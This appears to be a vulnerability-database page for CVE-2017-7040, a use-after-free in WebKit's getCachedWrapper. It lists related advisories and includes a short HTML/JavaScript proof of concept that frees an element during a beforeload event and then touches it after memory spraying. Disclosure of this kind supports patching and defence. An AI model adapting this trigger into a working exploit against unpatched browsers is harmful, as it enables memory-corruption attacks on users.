Lucene search

WebKit: use-after-free in WebCore::getCachedWrapper(CVE-2017-7040)

🗓️ 27 Jul 2017 00:00:00Reported by RootType

WebKit use-after-free vulnerabilit

Reporter	Title	Published	Views	Family All 41
Cvelist	CVE-2017-7040	20 Jul 201716:00	–	cvelist
NVD	CVE-2017-7040	20 Jul 201716:29	–	nvd
UbuntuCve	CVE-2017-7040	20 Jul 201700:00	–	ubuntucve
Exploit DB	WebKit - 'WebCore::getCachedWrapper' Use-After-Free	24 Jul 201700:00	–	exploitdb
0day.today	WebKit - WebCore::getCachedWrapper Use-After-Free Exploit	24 Jul 201700:00	–	zdt
CVE	CVE-2017-7040	20 Jul 201716:29	–	cve
Prion	Memory corruption	20 Jul 201716:29	–	prion
Packet Storm	WebKit WebCore::getCachedWrapper Use-After-Free	25 Jul 201700:00	–	packetstorm
Debian CVE	CVE-2017-7040	20 Jul 201716:29	–	debiancve
Tenable Nessus	GLSA-201710-14 : WebKitGTK+: Multiple Vulnerabilities	16 Oct 201700:00	–	nessus


                                                <script>
function freememory() {
 var a;
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
}

function boom() {
  var link = document.getElementById("link");
  prompt(link.innerHTML);
}

function go() {
  var link2 = document.createElement("link");
  link2.innerHTML = div3.outerHTML;
  div2.appendChild(link2);
  link2.setAttribute("onbeforeload", "eventhandler()");
  div1.appendChild(div2);
  freememory()
  setTimeout(boom,1000);
}
function eventhandler() {
  document.getElementById("link").remove();
}
</script>
<body onload=go()>
<div id="div1"></div>
<div id="div2"></div>
<div id="div3">
<link id="link">

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

27 Jul 2017 00:00Current

8.2High risk

Vulners AI Score8.2

EPSS0.085